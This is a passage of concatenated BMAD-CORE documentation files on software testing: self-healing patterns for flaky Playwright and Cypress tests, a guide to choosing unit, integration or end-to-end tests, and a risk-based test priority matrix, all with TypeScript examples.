export function hasHardWait(testCode: string): boolean {
const hardWaitPatterns = [/page\.waitForTimeout\(/, /cy\.wait\(\d+\)/, /await.*sleep\(/, /setTimeout\(/];
return hardWaitPatterns.some((pattern) => pattern.test(testCode));
}
/**
* Suggest deterministic wait replacement
*/
export function suggestDeterministicWait(testCode: string): string {
if (testCode.includes('page.waitForTimeout')) {
return `
// ❌ Bad: Hard wait (flaky)
// await page.waitForTimeout(3000)
// ✅ Good: Wait for network response
await page.waitForResponse(resp => resp.url().includes('/api/data') && resp.status() === 200)
// OR wait for element state
await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
`.trim();
}
if (testCode.includes('cy.wait(') && /cy\.wait\(\d+\)/.test(testCode)) {
return `
// ❌ Bad: Hard wait (flaky)
// cy.wait(3000)
// ✅ Good: Wait for aliased network request
cy.intercept('GET', '/api/data').as('getData')
cy.visit('/page')
cy.wait('@getData')
`.trim();
}
return `
// Add network-first interception BEFORE navigation:
await page.route('**/api/**', route => route.continue())
const responsePromise = page.waitForResponse('**/api/data')
await page.goto('/page')
await responsePromise
`.trim();
}
```
**Healing Implementation**:
```typescript
// tests/healing/timing-healing.spec.ts
import { test, expect } from '@playwright/test';
import { isTimingFailure, hasHardWait, suggestDeterministicWait } from '../../src/testing/healing/timing-healing';
test('heal race condition with network-first pattern', async ({ page, context }) => {
// Setup interception BEFORE navigation (prevent race)
await context.route('**/api/products', (route) => {
route.fulfill({
status: 200,
body: JSON.stringify({ products: [{ id: 1, name: 'Product A' }] }),
});
});
const responsePromise = page.waitForResponse('**/api/products');
await page.goto('/products');
await responsePromise; // Deterministic wait
// Element now reliably visible (no race condition)
await expect(page.getByText('Product A')).toBeVisible();
});
test('heal hard wait with event-based wait', async ({ page }) => {
await page.goto('/dashboard');
// ❌ Original (flaky): await page.waitForTimeout(3000)
// ✅ Healed: Wait for spinner to disappear
await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
// Element now reliably visible
await expect(page.getByText('Dashboard loaded')).toBeVisible();
});
```
**Key Points**:
- Diagnosis: Error contains "timeout" or "not visible", often after navigation
- Fix: Replace hard waits with network-first pattern or element state waits
- Prevention: ALWAYS intercept before navigate, use waitForResponse()
- Automation: Detect `page.waitForTimeout()` or `cy.wait(number)` in test code
---
### Example 3: Common Failure Pattern - Dynamic Data Assertions (Non-Deterministic IDs)
**Context**: Test fails with "Expected 'User 123' but received 'User 456'" or timestamp mismatches
**Diagnostic Signature**:
```typescript
// src/testing/healing/data-healing.ts
export type DataFailure = {
errorMessage: string;
expectedValue: string;
actualValue: string;
testFile: string;
lineNumber: number;
};
/**
* Detect dynamic data assertion failures
*/
export function isDynamicDataFailure(error: Error): boolean {
const patterns = [
/expected.*\d+.*received.*\d+/i, // ID mismatches
/expected.*\d{4}-\d{2}-\d{2}.*received/i, // Date mismatches
/expected.*user.*\d+/i, // Dynamic user IDs
/expected.*order.*\d+/i, // Dynamic order IDs
/expected.*to.*contain.*\d+/i, // Numeric assertions
];
return patterns.some((pattern) => pattern.test(error.message));
}
/**
* Suggest flexible assertion pattern
*/
export function suggestFlexibleAssertion(errorMessage: string): string {
if (/expected.*user.*\d+/i.test(errorMessage)) {
return `
// ❌ Bad: Hardcoded ID
// await expect(page.getByText('User 123')).toBeVisible()
// ✅ Good: Regex pattern for any user ID
await expect(page.getByText(/User \\d+/)).toBeVisible()
// OR use partial match
await expect(page.locator('[data-testid="user-name"]')).toContainText('User')
`.trim();
}
if (/expected.*\d{4}-\d{2}-\d{2}/i.test(errorMessage)) {
return `
// ❌ Bad: Hardcoded date
// await expect(page.getByText('2024-01-15')).toBeVisible()
// ✅ Good: Dynamic date validation
const today = new Date().toISOString().split('T')[0]
await expect(page.getByTestId('created-date')).toHaveText(today)
// OR use date format regex
await expect(page.getByTestId('created-date')).toHaveText(/\\d{4}-\\d{2}-\\d{2}/)
`.trim();
}
if (/expected.*order.*\d+/i.test(errorMessage)) {
return `
// ❌ Bad: Hardcoded order ID
// const orderId = '12345'
// ✅ Good: Capture dynamic order ID
const orderText = await page.getByTestId('order-id').textContent()
const orderId = orderText?.match(/Order #(\\d+)/)?.[1]
expect(orderId).toBeTruthy()
// Use captured ID in later assertions
await expect(page.getByText(\`Order #\${orderId} confirmed\`)).toBeVisible()
`.trim();
}
return `Use regex patterns, partial matching, or capture dynamic values instead of hardcoding`;
}
```
**Healing Implementation**:
```typescript
// tests/healing/data-healing.spec.ts
import { test, expect } from '@playwright/test';
test('heal dynamic ID assertion with regex', async ({ page }) => {
await page.goto('/users');
// ❌ Original (fails with random IDs): await expect(page.getByText('User 123')).toBeVisible()
// ✅ Healed: Regex pattern matches any user ID
await expect(page.getByText(/User \d+/)).toBeVisible();
});
test('heal timestamp assertion with dynamic generation', async ({ page }) => {
await page.goto('/dashboard');
// ❌ Original (fails daily): await expect(page.getByText('2024-01-15')).toBeVisible()
// ✅ Healed: Generate expected date dynamically
const today = new Date().toISOString().split('T')[0];
await expect(page.getByTestId('last-updated')).toContainText(today);
});
test('heal order ID assertion with capture', async ({ page, request }) => {
// Create order via API (dynamic ID)
const response = await request.post('/api/orders', {
data: { productId: '123', quantity: 1 },
});
const { orderId } = await response.json();
// ✅ Healed: Use captured dynamic ID
await page.goto(`/orders/${orderId}`);
await expect(page.getByText(`Order #${orderId}`)).toBeVisible();
});
```
**Key Points**:
- Diagnosis: Error message shows expected vs actual value mismatch with IDs/timestamps
- Fix: Use regex patterns (`/User \d+/`), partial matching, or capture dynamic values
- Prevention: Never hardcode IDs, timestamps, or random data in assertions
- Automation: Parse error message for expected/actual values, suggest regex patterns
---
### Example 4: Common Failure Pattern - Network Errors (Missing Route Interception)
**Context**: Test fails with "API call failed" or "500 error" during test execution
**Diagnostic Signature**:
```typescript
// src/testing/healing/network-healing.ts
export type NetworkFailure = {
errorMessage: string;
url: string;
statusCode: number;
method: string;
};
/**
* Detect network failure
*/
export function isNetworkFailure(error: Error): boolean {
const patterns = [
/api.*call.*failed/i,
/request.*failed/i,
/network.*error/i,
/500.*internal server error/i,
/503.*service unavailable/i,
/fetch.*failed/i,
];
return patterns.some((pattern) => pattern.test(error.message));
}
/**
* Suggest route interception
*/
export function suggestRouteInterception(url: string, method: string): string {
return `
// ❌ Bad: Real API call (unreliable, slow, external dependency)
// ✅ Good: Mock API response with route interception
await page.route('${url}', route => {
route.fulfill({
status: 200,
contentType: 'application/json',
body: JSON.stringify({
// Mock response data
id: 1,
name: 'Test User',
email: 'test@example.com'
})
})
})
// Then perform action
await page.goto('/page')
`.trim();
}
```
**Healing Implementation**:
```typescript
// tests/healing/network-healing.spec.ts
import { test, expect } from '@playwright/test';
test('heal network failure with route mocking', async ({ page, context }) => {
// ✅ Healed: Mock API to prevent real network calls
await context.route('**/api/products', (route) => {
route.fulfill({
status: 200,
contentType: 'application/json',
body: JSON.stringify({
products: [
{ id: 1, name: 'Product A', price: 29.99 },
{ id: 2, name: 'Product B', price: 49.99 },
],
}),
});
});
await page.goto('/products');
// Test now reliable (no external API dependency)
await expect(page.getByText('Product A')).toBeVisible();
await expect(page.getByText('$29.99')).toBeVisible();
});
test('heal 500 error with error state mocking', async ({ page, context }) => {
// Mock API failure scenario
await context.route('**/api/products', (route) => {
route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
});
await page.goto('/products');
// Verify error handling (not crash)
await expect(page.getByText('Unable to load products')).toBeVisible();
await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
});
```
**Key Points**:
- Diagnosis: Error message contains "API call failed", "500 error", or network-related failures
- Fix: Add `page.route()` or `cy.intercept()` to mock API responses
- Prevention: Mock ALL external dependencies (APIs, third-party services)
- Automation: Extract URL from error message, generate route interception code
---
### Example 5: Common Failure Pattern - Hard Waits (Unreliable Timing)
**Context**: Test fails intermittently with "timeout exceeded" or passes/fails randomly
**Diagnostic Signature**:
```typescript
// src/testing/healing/hard-wait-healing.ts
/**
* Detect hard wait anti-pattern in test code
*/
export function detectHardWaits(testCode: string): Array<{ line: number; code: string }> {
const lines = testCode.split('\n');
const violations: Array<{ line: number; code: string }> = [];
lines.forEach((line, index) => {
if (line.includes('page.waitForTimeout(') || /cy\.wait\(\d+\)/.test(line) || line.includes('sleep(') || line.includes('setTimeout(')) {
violations.push({ line: index + 1, code: line.trim() });
}
});
return violations;
}
/**
* Suggest event-based wait replacement
*/
export function suggestEventBasedWait(hardWaitLine: string): string {
if (hardWaitLine.includes('page.waitForTimeout')) {
return `
// ❌ Bad: Hard wait (flaky)
${hardWaitLine}
// ✅ Good: Wait for network response
await page.waitForResponse(resp => resp.url().includes('/api/') && resp.ok())
// OR wait for element state change
await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
await page.getByTestId('content').waitFor({ state: 'visible' })
`.trim();
}
if (/cy\.wait\(\d+\)/.test(hardWaitLine)) {
return `
// ❌ Bad: Hard wait (flaky)
${hardWaitLine}
// ✅ Good: Wait for aliased request
cy.intercept('GET', '/api/data').as('getData')
cy.visit('/page')
cy.wait('@getData') // Deterministic
`.trim();
}
return 'Replace hard waits with event-based waits (waitForResponse, waitFor state changes)';
}
```
**Healing Implementation**:
```typescript
// tests/healing/hard-wait-healing.spec.ts
import { test, expect } from '@playwright/test';
test('heal hard wait with deterministic wait', async ({ page }) => {
await page.goto('/dashboard');
// ❌ Original (flaky): await page.waitForTimeout(3000)
// ✅ Healed: Wait for loading spinner to disappear
await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
// OR wait for specific network response
await page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.ok());
await expect(page.getByText('Dashboard ready')).toBeVisible();
});
test('heal implicit wait with explicit network wait', async ({ page }) => {
const responsePromise = page.waitForResponse('**/api/products');
await page.goto('/products');
// ❌ Original (race condition): await page.getByText('Product A').click()
// ✅ Healed: Wait for network first
await responsePromise;
await page.getByText('Product A').click();
await expect(page).toHaveURL(/\/products\/\d+/);
});
```
**Key Points**:
- Diagnosis: Test code contains `page.waitForTimeout()` or `cy.wait(number)`
- Fix: Replace with `waitForResponse()`, `waitFor({ state })`, or aliased intercepts
- Prevention: NEVER use hard waits, always use event-based/response-based waits
- Automation: Scan test code for hard wait patterns, suggest deterministic replacements
---
## Healing Pattern Catalog
| Failure Type | Diagnostic Signature | Healing Strategy | Prevention Pattern |
| -------------- | --------------------------------------------- | ------------------------------------- | ----------------------------------------- |
| Stale Selector | "locator resolved to 0 elements" | Replace with data-testid or ARIA role | Selector hierarchy (testid > ARIA > text) |
| Race Condition | "timeout waiting for element" | Add network-first interception | Intercept before navigate |
| Dynamic Data | "Expected 'User 123' but got 'User 456'" | Use regex or capture dynamic values | Never hardcode IDs/timestamps |
| Network Error | "API call failed", "500 error" | Add route mocking | Mock all external dependencies |
| Hard Wait | Test contains `waitForTimeout()` or `wait(n)` | Replace with event-based waits | Always use deterministic waits |
## Healing Workflow
1. **Run test** → Capture failure
2. **Identify pattern** → Match error against diagnostic signatures
3. **Apply fix** → Use pattern-based healing strategy
4. **Re-run test** → Validate fix (max 3 iterations)
5. **Mark unfixable** → Use `test.fixme()` if healing fails after 3 attempts
## Healing Checklist
Before enabling auto-healing in workflows:
- [ ] **Failure catalog documented**: Common patterns identified (selectors, timing, data, network, hard waits)
- [ ] **Diagnostic signatures defined**: Error message patterns for each failure type
- [ ] **Healing strategies documented**: Fix patterns for each failure type
- [ ] **Prevention patterns documented**: Best practices to avoid recurrence
- [ ] **Healing iteration limit set**: Max 3 attempts before marking test.fixme()
- [ ] **MCP integration optional**: Graceful degradation without Playwright MCP
- [ ] **Pattern-based fallback**: Use knowledge base patterns when MCP unavailable
- [ ] **Healing report generated**: Document what was healed and how
## Integration Points
- **Used in workflows**: `*automate` (auto-healing after test generation), `*atdd` (optional healing for acceptance tests)
- **Related fragments**: `selector-resilience.md` (selector debugging), `timing-debugging.md` (race condition fixes), `network-first.md` (interception patterns), `data-factories.md` (dynamic data handling)
- **Tools**: Error message parsing, AST analysis for code patterns, Playwright MCP (optional), pattern matching
_Source: Playwright test-healer patterns, production test failure analysis, common anti-patterns from test-resources-for-ai_

View File

@@ -0,0 +1,473 @@
<!-- Powered by BMAD-CORE™ -->
# Test Levels Framework
Comprehensive guide for determining appropriate test levels (unit, integration, E2E) for different scenarios.
## Test Level Decision Matrix
### Unit Tests
**When to use:**
- Testing pure functions and business logic
- Algorithm correctness
- Input validation and data transformation
- Error handling in isolated components
- Complex calculations or state machines
**Characteristics:**
- Fast execution (immediate feedback)
- No external dependencies (DB, API, file system)
- Highly maintainable and stable
- Easy to debug failures
**Example scenarios:**
```yaml
unit_test:
component: 'PriceCalculator'
scenario: 'Calculate discount with multiple rules'
justification: 'Complex business logic with multiple branches'
mock_requirements: 'None - pure function'
```
### Integration Tests
**When to use:**
- Component interaction verification
- Database operations and transactions
- API endpoint contracts
- Service-to-service communication
- Middleware and interceptor behavior
**Characteristics:**
- Moderate execution time
- Tests component boundaries
- May use test databases or containers
- Validates system integration points
**Example scenarios:**
```yaml
integration_test:
components: ['UserService', 'AuthRepository']
scenario: 'Create user with role assignment'
justification: 'Critical data flow between service and persistence'
test_environment: 'In-memory database'
```
### End-to-End Tests
**When to use:**
- Critical user journeys
- Cross-system workflows
- Visual regression testing
- Compliance and regulatory requirements
- Final validation before release
**Characteristics:**
- Slower execution
- Tests complete workflows
- Requires full environment setup
- Most realistic but most brittle
**Example scenarios:**
```yaml
e2e_test:
journey: 'Complete checkout process'
scenario: 'User purchases with saved payment method'
justification: 'Revenue-critical path requiring full validation'
environment: 'Staging with test payment gateway'
```
## Test Level Selection Rules
### Favor Unit Tests When:
- Logic can be isolated
- No side effects involved
- Fast feedback needed
- High cyclomatic complexity
### Favor Integration Tests When:
- Testing persistence layer
- Validating service contracts
- Testing middleware/interceptors
- Component boundaries critical
### Favor E2E Tests When:
- User-facing critical paths
- Multi-system interactions
- Regulatory compliance scenarios
- Visual regression important
## Anti-patterns to Avoid
- E2E testing for business logic validation
- Unit testing framework behavior
- Integration testing third-party libraries
- Duplicate coverage across levels
## Duplicate Coverage Guard
**Before adding any test, check:**
1. Is this already tested at a lower level?
2. Can a unit test cover this instead of integration?
3. Can an integration test cover this instead of E2E?
**Coverage overlap is only acceptable when:**
- Testing different aspects (unit: logic, integration: interaction, e2e: user experience)
- Critical paths requiring defense in depth
- Regression prevention for previously broken functionality
## Test Naming Conventions
- Unit: `test_{component}_{scenario}`
- Integration: `test_{flow}_{interaction}`
- E2E: `test_{journey}_{outcome}`
## Test ID Format
`{EPIC}.{STORY}-{LEVEL}-{SEQ}`
Examples:
- `1.3-UNIT-001`
- `1.3-INT-002`
- `1.3-E2E-001`
## Real Code Examples
### Example 1: E2E Test (Full User Journey)
**Scenario**: User logs in, navigates to dashboard, and places an order.
```typescript
// tests/e2e/checkout-flow.spec.ts
import { test, expect } from '@playwright/test';
import { createUser, createProduct } from '../test-utils/factories';
test.describe('Checkout Flow', () => {
test('user can complete purchase with saved payment method', async ({ page, apiRequest }) => {
// Setup: Seed data via API (fast!)
const user = createUser({ email: 'buyer@example.com', hasSavedCard: true });
const product = createProduct({ name: 'Widget', price: 29.99, stock: 10 });
await apiRequest.post('/api/users', { data: user });
await apiRequest.post('/api/products', { data: product });
// Network-first: Intercept BEFORE action
const loginPromise = page.waitForResponse('**/api/auth/login');
const cartPromise = page.waitForResponse('**/api/cart');
const orderPromise = page.waitForResponse('**/api/orders');
// Step 1: Login
await page.goto('/login');
await page.fill('[data-testid="email"]', user.email);
await page.fill('[data-testid="password"]', 'password123');
await page.click('[data-testid="login-button"]');
await loginPromise;
// Assert: Dashboard visible
await expect(page).toHaveURL('/dashboard');
await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
// Step 2: Add product to cart
await page.goto(`/products/${product.id}`);
await page.click('[data-testid="add-to-cart"]');
await cartPromise;
await expect(page.getByText('Added to cart')).toBeVisible();
// Step 3: Checkout with saved payment
await page.goto('/checkout');
await expect(page.getByText('Visa ending in 1234')).toBeVisible(); // Saved card
await page.click('[data-testid="use-saved-card"]');
await page.click('[data-testid="place-order"]');
await orderPromise;
// Assert: Order confirmation
await expect(page.getByText('Order Confirmed')).toBeVisible();
await expect(page.getByText(/Order #\d+/)).toBeVisible();
await expect(page.getByText('$29.99')).toBeVisible();
});
});
```
**Key Points (E2E)**:
- Tests complete user journey across multiple pages
- API setup for data (fast), UI for assertions (user-centric)
- Network-first interception to prevent flakiness
- Validates critical revenue path end-to-end
### Example 2: Integration Test (API/Service Layer)
**Scenario**: UserService creates user and assigns role via AuthRepository.
```typescript
// tests/integration/user-service.spec.ts
import { test, expect } from '@playwright/test';
import { createUser } from '../test-utils/factories';
test.describe('UserService Integration', () => {
test('should create user with admin role via API', async ({ request }) => {
const userData = createUser({ role: 'admin' });
// Direct API call (no UI)
const response = await request.post('/api/users', {
data: userData,
});
expect(response.status()).toBe(201);
const createdUser = await response.json();
expect(createdUser.id).toBeTruthy();
expect(createdUser.email).toBe(userData.email);
expect(createdUser.role).toBe('admin');
// Verify database state
const getResponse = await request.get(`/api/users/${createdUser.id}`);
expect(getResponse.status()).toBe(200);
const fetchedUser = await getResponse.json();
expect(fetchedUser.role).toBe('admin');
expect(fetchedUser.permissions).toContain('user:delete');
expect(fetchedUser.permissions).toContain('user:update');
// Cleanup
await request.delete(`/api/users/${createdUser.id}`);
});
test('should validate email uniqueness constraint', async ({ request }) => {
const userData = createUser({ email: 'duplicate@example.com' });
// Create first user
const response1 = await request.post('/api/users', { data: userData });
expect(response1.status()).toBe(201);
const user1 = await response1.json();
// Attempt duplicate email
const response2 = await request.post('/api/users', { data: userData });
expect(response2.status()).toBe(409); // Conflict
const error = await response2.json();
expect(error.message).toContain('Email already exists');
// Cleanup
await request.delete(`/api/users/${user1.id}`);
});
});
```
**Key Points (Integration)**:
- Tests service layer + database interaction
- No UI involved—pure API validation
- Business logic focus (role assignment, constraints)
- Faster than E2E, more realistic than unit tests
### Example 3: Component Test (Isolated UI Component)
**Scenario**: Test button component in isolation with props and user interactions.
```typescript
// src/components/Button.cy.tsx (Cypress Component Test)
import { Button } from './Button';
describe('Button Component', () => {
it('should render with correct label', () => {
cy.mount(<Button label="Click Me" />);
cy.contains('Click Me').should('be.visible');
});
it('should call onClick handler when clicked', () => {
const onClickSpy = cy.stub().as('onClick');
cy.mount(<Button label="Submit" onClick={onClickSpy} />);
cy.get('button').click();
cy.get('@onClick').should('have.been.calledOnce');
});
it('should be disabled when disabled prop is true', () => {
cy.mount(<Button label="Disabled" disabled={true} />);
cy.get('button').should('be.disabled');
cy.get('button').should('have.attr', 'aria-disabled', 'true');
});
it('should show loading spinner when loading', () => {
cy.mount(<Button label="Loading" loading={true} />);
cy.get('[data-testid="spinner"]').should('be.visible');
cy.get('button').should('be.disabled');
});
it('should apply variant styles correctly', () => {
cy.mount(<Button label="Primary" variant="primary" />);
cy.get('button').should('have.class', 'btn-primary');
cy.mount(<Button label="Secondary" variant="secondary" />);
cy.get('button').should('have.class', 'btn-secondary');
});
});
// Playwright Component Test equivalent
import { test, expect } from '@playwright/experimental-ct-react';
import { Button } from './Button';
test.describe('Button Component', () => {
test('should call onClick handler when clicked', async ({ mount }) => {
let clicked = false;
const component = await mount(
<Button label="Submit" onClick={() => { clicked = true; }} />
);
await component.getByRole('button').click();
expect(clicked).toBe(true);
});
test('should be disabled when loading', async ({ mount }) => {
const component = await mount(<Button label="Loading" loading={true} />);
await expect(component.getByRole('button')).toBeDisabled();
await expect(component.getByTestId('spinner')).toBeVisible();
});
});
```
**Key Points (Component)**:
- Tests UI component in isolation (no full app)
- Props + user interactions + visual states
- Faster than E2E, more realistic than unit tests for UI
- Great for design system components
### Example 4: Unit Test (Pure Function)
**Scenario**: Test pure business logic function without framework dependencies.
```typescript
// src/utils/price-calculator.test.ts (Jest/Vitest)
import { calculateDiscount, applyTaxes, calculateTotal } from './price-calculator';
describe('PriceCalculator', () => {
describe('calculateDiscount', () => {
it('should apply percentage discount correctly', () => {
const result = calculateDiscount(100, { type: 'percentage', value: 20 });
expect(result).toBe(80);
});
it('should apply fixed amount discount correctly', () => {
const result = calculateDiscount(100, { type: 'fixed', value: 15 });
expect(result).toBe(85);
});
it('should not apply discount below zero', () => {
const result = calculateDiscount(10, { type: 'fixed', value: 20 });
expect(result).toBe(0);
});
it('should handle no discount', () => {
const result = calculateDiscount(100, { type: 'none', value: 0 });
expect(result).toBe(100);
});
});
describe('applyTaxes', () => {
it('should calculate tax correctly for US', () => {
const result = applyTaxes(100, { country: 'US', rate: 0.08 });
expect(result).toBe(108);
});
it('should calculate tax correctly for EU (VAT)', () => {
const result = applyTaxes(100, { country: 'DE', rate: 0.19 });
expect(result).toBe(119);
});
it('should handle zero tax rate', () => {
const result = applyTaxes(100, { country: 'US', rate: 0 });
expect(result).toBe(100);
});
});
describe('calculateTotal', () => {
it('should calculate total with discount and taxes', () => {
const items = [
{ price: 50, quantity: 2 }, // 100
{ price: 30, quantity: 1 }, // 30
];
const discount = { type: 'percentage', value: 10 }; // -13
const tax = { country: 'US', rate: 0.08 }; // +9.36
const result = calculateTotal(items, discount, tax);
expect(result).toBeCloseTo(126.36, 2);
});
it('should handle empty items array', () => {
const result = calculateTotal([], { type: 'none', value: 0 }, { country: 'US', rate: 0 });
expect(result).toBe(0);
});
it('should calculate correctly without discount or tax', () => {
const items = [{ price: 25, quantity: 4 }];
const result = calculateTotal(items, { type: 'none', value: 0 }, { country: 'US', rate: 0 });
expect(result).toBe(100);
});
});
});
```
**Key Points (Unit)**:
- Pure function testing—no framework dependencies
- Fast execution (milliseconds)
- Edge case coverage (zero, negative, empty inputs)
- High cyclomatic complexity handled at unit level
## When to Use Which Level
| Scenario | Unit | Integration | E2E |
| ---------------------- | ------------- | ----------------- | ------------- |
| Pure business logic | ✅ Primary | ❌ Overkill | ❌ Overkill |
| Database operations | ❌ Can't test | ✅ Primary | ❌ Overkill |
| API contracts | ❌ Can't test | ✅ Primary | ⚠️ Supplement |
| User journeys | ❌ Can't test | ❌ Can't test | ✅ Primary |
| Component props/events | ✅ Partial | ⚠️ Component test | ❌ Overkill |
| Visual regression | ❌ Can't test | ⚠️ Component test | ✅ Primary |
| Error handling (logic) | ✅ Primary | ⚠️ Integration | ❌ Overkill |
| Error handling (UI) | ❌ Partial | ⚠️ Component test | ✅ Primary |
## Anti-Pattern Examples
**❌ BAD: E2E test for business logic**
```typescript
// DON'T DO THIS
test('calculate discount via UI', async ({ page }) => {
await page.goto('/calculator');
await page.fill('[data-testid="price"]', '100');
await page.fill('[data-testid="discount"]', '20');
await page.click('[data-testid="calculate"]');
await expect(page.getByText('$80')).toBeVisible();
});
// Problem: Slow, brittle, tests logic that should be unit tested
```
**✅ GOOD: Unit test for business logic**
```typescript
test('calculate discount', () => {
expect(calculateDiscount(100, 20)).toBe(80);
});
// Fast, reliable, isolated
```
_Source: Murat Testing Philosophy (test pyramid), existing test-levels-framework.md structure._

View File

@@ -0,0 +1,373 @@
<!-- Powered by BMAD-CORE™ -->
# Test Priorities Matrix
Guide for prioritizing test scenarios based on risk, criticality, and business impact.
## Priority Levels
### P0 - Critical (Must Test)
**Criteria:**
- Revenue-impacting functionality
- Security-critical paths
- Data integrity operations
- Regulatory compliance requirements
- Previously broken functionality (regression prevention)
**Examples:**
- Payment processing
- Authentication/authorization
- User data creation/deletion
- Financial calculations
- GDPR/privacy compliance
**Testing Requirements:**
- Comprehensive coverage at all levels
- Both happy and unhappy paths
- Edge cases and error scenarios
- Performance under load
### P1 - High (Should Test)
**Criteria:**
- Core user journeys
- Frequently used features
- Features with complex logic
- Integration points between systems
- Features affecting user experience
**Examples:**
- User registration flow
- Search functionality
- Data import/export
- Notification systems
- Dashboard displays
**Testing Requirements:**
- Primary happy paths required
- Key error scenarios
- Critical edge cases
- Basic performance validation
### P2 - Medium (Nice to Test)
**Criteria:**
- Secondary features
- Admin functionality
- Reporting features
- Configuration options
- UI polish and aesthetics
**Examples:**
- Admin settings panels
- Report generation
- Theme customization
- Help documentation
- Analytics tracking
**Testing Requirements:**
- Happy path coverage
- Basic error handling
- Can defer edge cases
### P3 - Low (Test if Time Permits)
**Criteria:**
- Rarely used features
- Nice-to-have functionality
- Cosmetic issues
- Non-critical optimizations
**Examples:**
- Advanced preferences
- Legacy feature support
- Experimental features
- Debug utilities
**Testing Requirements:**
- Smoke tests only
- Can rely on manual testing
- Document known limitations
## Risk-Based Priority Adjustments
### Increase Priority When:
- High user impact (affects >50% of users)
- High financial impact (>$10K potential loss)
- Security vulnerability potential
- Compliance/legal requirements
- Customer-reported issues
- Complex implementation (>500 LOC)
- Multiple system dependencies
### Decrease Priority When:
- Feature flag protected
- Gradual rollout planned
- Strong monitoring in place
- Easy rollback capability
- Low usage metrics
- Simple implementation
- Well-isolated component
## Test Coverage by Priority
| Priority | Unit Coverage | Integration Coverage | E2E Coverage |
| -------- | ------------- | -------------------- | ------------------ |
| P0 | >90% | >80% | All critical paths |
| P1 | >80% | >60% | Main happy paths |
| P2 | >60% | >40% | Smoke tests |
| P3 | Best effort | Best effort | Manual only |
## Priority Assignment Rules
1. **Start with business impact** - What happens if this fails?
2. **Consider probability** - How likely is failure?
3. **Factor in detectability** - Would we know if it failed?
4. **Account for recoverability** - Can we fix it quickly?
## Priority Decision Tree
```
Is it revenue-critical?
├─ YES → P0
└─ NO → Does it affect core user journey?
├─ YES → Is it high-risk?
│ ├─ YES → P0
│ └─ NO → P1
└─ NO → Is it frequently used?
├─ YES → P1
└─ NO → Is it customer-facing?
├─ YES → P2
└─ NO → P3
```
## Test Execution Order
1. Execute P0 tests first (fail fast on critical issues)
2. Execute P1 tests second (core functionality)
3. Execute P2 tests if time permits
4. P3 tests only in full regression cycles
## Continuous Adjustment
Review and adjust priorities based on:
- Production incident patterns
- User feedback and complaints
- Usage analytics
- Test failure history
- Business priority changes
---
## Automated Priority Classification
### Example: Priority Calculator (Risk-Based Automation)
```typescript
// src/testing/priority-calculator.ts
export type Priority = 'P0' | 'P1' | 'P2' | 'P3';
export type PriorityFactors = {
revenueImpact: 'critical' | 'high' | 'medium' | 'low' | 'none';
userImpact: 'all' | 'majority' | 'some' | 'few' | 'minimal';
securityRisk: boolean;
complianceRequired: boolean;
previousFailure: boolean;
complexity: 'high' | 'medium' | 'low';
usage: 'frequent' | 'regular' | 'occasional' | 'rare';
};
/**
* Calculate test priority based on multiple factors
* Mirrors the priority decision tree with objective criteria
*/
export function calculatePriority(factors: PriorityFactors): Priority {
const { revenueImpact, userImpact, securityRisk, complianceRequired, previousFailure, complexity, usage } = factors;
// P0: Revenue-critical, security, or compliance
if (revenueImpact === 'critical' || securityRisk || complianceRequired || (previousFailure && revenueImpact === 'high')) {
return 'P0';
}
// P0: High revenue + high complexity + frequent usage
if (revenueImpact === 'high' && complexity === 'high' && usage === 'frequent') {
return 'P0';
}
// P1: Core user journey (majority impacted + frequent usage)
if (userImpact === 'all' || userImpact === 'majority') {
if (usage === 'frequent' || complexity === 'high') {
return 'P1';
}
}
// P1: High revenue OR high complexity with regular usage
if ((revenueImpact === 'high' && usage === 'regular') || (complexity === 'high' && usage === 'frequent')) {
return 'P1';
}
// P2: Secondary features (some impact, occasional usage)
if (userImpact === 'some' || usage === 'occasional') {
return 'P2';
}
// P3: Rarely used, low impact
return 'P3';
}
/**
* Generate priority justification (for audit trail)
*/
export function justifyPriority(factors: PriorityFactors): string {
const priority = calculatePriority(factors);
const reasons: string[] = [];
if (factors.revenueImpact === 'critical') reasons.push('critical revenue impact');
if (factors.securityRisk) reasons.push('security-critical');
if (factors.complianceRequired) reasons.push('compliance requirement');
if (factors.previousFailure) reasons.push('regression prevention');
if (factors.userImpact === 'all' || factors.userImpact === 'majority') {
reasons.push(`impacts ${factors.userImpact} users`);
}
if (factors.complexity === 'high') reasons.push('high complexity');
if (factors.usage === 'frequent') reasons.push('frequently used');
return `${priority}: ${reasons.join(', ')}`;
}
/**
* Example: Payment scenario priority calculation
*/
const paymentScenario: PriorityFactors = {
revenueImpact: 'critical',
userImpact: 'all',
securityRisk: true,
complianceRequired: true,
previousFailure: false,
complexity: 'high',
usage: 'frequent',
};
console.log(calculatePriority(paymentScenario)); // 'P0'
console.log(justifyPriority(paymentScenario));
// 'P0: critical revenue impact, security-critical, compliance requirement, impacts all users, high complexity, frequently used'
```
### Example: Test Suite Tagging Strategy
```typescript
// tests/e2e/checkout.spec.ts
import { test, expect } from '@playwright/test';
// Tag tests with priority for selective execution
test.describe('Checkout Flow', () => {
test('valid payment completes successfully @p0 @smoke @revenue', async ({ page }) => {
// P0: Revenue-critical happy path
await page.goto('/checkout');
await page.getByTestId('payment-method').selectOption('credit-card');
await page.getByTestId('card-number').fill('4242424242424242');
await page.getByRole('button', { name: 'Place Order' }).click();
await expect(page.getByText('Order confirmed')).toBeVisible();
});
test('expired card shows user-friendly error @p1 @error-handling', async ({ page }) => {
// P1: Core error scenario (frequent user impact)
await page.goto('/checkout');
await page.getByTestId('payment-method').selectOption('credit-card');
await page.getByTestId('card-number').fill('4000000000000069'); // Test card: expired
await page.getByRole('button', { name: 'Place Order' }).click();
await expect(page.getByText('Card expired. Please use a different card.')).toBeVisible();
});
test('coupon code applies discount correctly @p2', async ({ page }) => {
// P2: Secondary feature (nice-to-have)
await page.goto('/checkout');
await page.getByTestId('coupon-code').fill('SAVE10');
await page.getByRole('button', { name: 'Apply' }).click();
await expect(page.getByText('10% discount applied')).toBeVisible();
});
test('gift message formatting preserved @p3', async ({ page }) => {
// P3: Cosmetic feature (rarely used)
await page.goto('/checkout');
await page.getByTestId('gift-message').fill('Happy Birthday!\n\nWith love.');
await page.getByRole('button', { name: 'Place Order' }).click();
// Message formatting preserved (linebreaks intact)
